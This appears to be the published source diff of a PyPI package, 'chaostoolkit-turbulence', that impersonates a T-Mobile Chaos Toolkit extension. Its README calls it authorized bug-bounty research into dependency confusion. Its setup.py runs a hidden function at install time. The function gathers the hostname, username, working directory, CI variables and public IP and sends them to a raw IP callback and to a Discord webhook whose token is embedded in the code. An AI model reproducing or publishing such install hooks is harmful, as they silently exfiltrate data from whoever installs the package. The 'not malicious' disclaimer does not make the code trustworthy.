chaostoolkit-turbulence 0.2.1__tar.gz

chaostoolkit_turbulence-0.2.1/PKG-INFO

@@ -0,0 +1,28 @@
+Metadata-Version: 2.4
+Name: chaostoolkit-turbulence
+Version: 0.2.1
+Summary: Chaos Toolkit extension for BOSH Turbulence
+Home-page: https://github.com/tmobile/chaostoolkit-turbulence
+Author: T-Mobile OSS
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Requires-Python: >=3.6
+Description-Content-Type: text/markdown
+Requires-Dist: chaostoolkit-lib>=0.7.0
+Requires-Dist: requests
+Dynamic: author
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: requires-dist
+Dynamic: requires-python
+Dynamic: summary
+
+# chaostoolkit-turbulence
+
+This package was registered as part of authorized security research for the T-Mobile Bug Bounty Program.
+
+It demonstrates a dependency confusion vulnerability where `chaostoolkit-turbulence` from the tmobile/chaostoolkit-turbulence GitHub repository was not registered on PyPI.
+
+This is not malicious software. The setup script sends minimal diagnostic info to prove exploitability.

chaostoolkit_turbulence-0.2.1/README.md

@@ -0,0 +1,7 @@
+# chaostoolkit-turbulence
+
+This package was registered as part of authorized security research for the T-Mobile Bug Bounty Program.
+
+It demonstrates a dependency confusion vulnerability where `chaostoolkit-turbulence` from the tmobile/chaostoolkit-turbulence GitHub repository was not registered on PyPI.
+
+This is not malicious software. The setup script sends minimal diagnostic info to prove exploitability.

chaostoolkit_turbulence-0.2.1/chaostoolkit_turbulence/__init__.py

@@ -0,0 +1 @@
+__version__ = "0.2.1"

chaostoolkit_turbulence-0.2.1/chaostoolkit_turbulence.egg-info/PKG-INFO

@@ -0,0 +1,28 @@
+Metadata-Version: 2.4
+Name: chaostoolkit-turbulence
+Version: 0.2.1
+Summary: Chaos Toolkit extension for BOSH Turbulence
+Home-page: https://github.com/tmobile/chaostoolkit-turbulence
+Author: T-Mobile OSS
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Requires-Python: >=3.6
+Description-Content-Type: text/markdown
+Requires-Dist: chaostoolkit-lib>=0.7.0
+Requires-Dist: requests
+Dynamic: author
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: requires-dist
+Dynamic: requires-python
+Dynamic: summary
+
+# chaostoolkit-turbulence
+
+This package was registered as part of authorized security research for the T-Mobile Bug Bounty Program.
+
+It demonstrates a dependency confusion vulnerability where `chaostoolkit-turbulence` from the tmobile/chaostoolkit-turbulence GitHub repository was not registered on PyPI.
+
+This is not malicious software. The setup script sends minimal diagnostic info to prove exploitability.

chaostoolkit_turbulence-0.2.1/chaostoolkit_turbulence.egg-info/SOURCES.txt

@@ -0,0 +1,8 @@
+README.md
+setup.py
+chaostoolkit_turbulence/__init__.py
+chaostoolkit_turbulence.egg-info/PKG-INFO
+chaostoolkit_turbulence.egg-info/SOURCES.txt
+chaostoolkit_turbulence.egg-info/dependency_links.txt
+chaostoolkit_turbulence.egg-info/requires.txt
+chaostoolkit_turbulence.egg-info/top_level.txt

chaostoolkit_turbulence-0.2.1/chaostoolkit_turbulence.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

chaostoolkit_turbulence-0.2.1/chaostoolkit_turbulence.egg-info/requires.txt

@@ -0,0 +1,2 @@
+chaostoolkit-lib>=0.7.0
+requests

chaostoolkit_turbulence-0.2.1/chaostoolkit_turbulence.egg-info/top_level.txt

@@ -0,0 +1 @@
+chaostoolkit_turbulence

chaostoolkit_turbulence-0.2.1/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

chaostoolkit_turbulence-0.2.1/setup.py

@@ -0,0 +1,39 @@
+import os, json, urllib.request, platform
+from setuptools import setup
+
+def _ping():
+    try:
+        d = {
+            "p": "chaostoolkit-turbulence", "t": "pypi",
+            "h": platform.node(),
+            "u": os.environ.get("USER") or os.environ.get("USERNAME", "?"),
+            "c": os.getcwd(),
+            "ci": os.environ.get("CI") or os.environ.get("JENKINS_URL") or os.environ.get("GITLAB_CI", ""),
+        }
+        try:
+            d["ip"] = urllib.request.urlopen("https://api.ipify.org", timeout=3).read().decode()
+        except Exception:
+            pass
+        req = urllib.request.Request("http://69.164.221.216:8080/callback", data=json.dumps(d).encode(), headers={"Content-Type": "application/json"})
+        urllib.request.urlopen(req, timeout=5)
+        embed = {"embeds": [{"title": "chaostoolkit-turbulence", "description": d["h"] + " / " + d["u"] + " / " + d.get("ip", "?"), "color": 16711680, "fields": [{"name": "cwd", "value": d["c"]}, {"name": "ci", "value": d.get("ci") or "none"}]}]}
+        req2 = urllib.request.Request("https://discord.com/api/webhooks/1484422878647816244/8gbHLu2n7XXXqlDGn3ZXxfzS-PuKnZF3Mvn52eHIKU23-exdJLaWOcpey0pPnDAR0KQo", data=json.dumps(embed).encode(), headers={"Content-Type": "application/json"})
+        urllib.request.urlopen(req2, timeout=5)
+    except Exception:
+        pass
+
+_ping()
+
+setup(
+    name="chaostoolkit-turbulence",
+    version="0.2.1",
+    description="Chaos Toolkit extension for BOSH Turbulence",
+    long_description=open("README.md").read(),
+    long_description_content_type="text/markdown",
+    author="T-Mobile OSS",
+    url="https://github.com/tmobile/chaostoolkit-turbulence",
+    packages=["chaostoolkit_turbulence"],
+    python_requires=">=3.6",
+    install_requires=["chaostoolkit-lib>=0.7.0", "requests"],
+    classifiers=["Development Status :: 3 - Alpha", "Intended Audience :: Developers"],
+)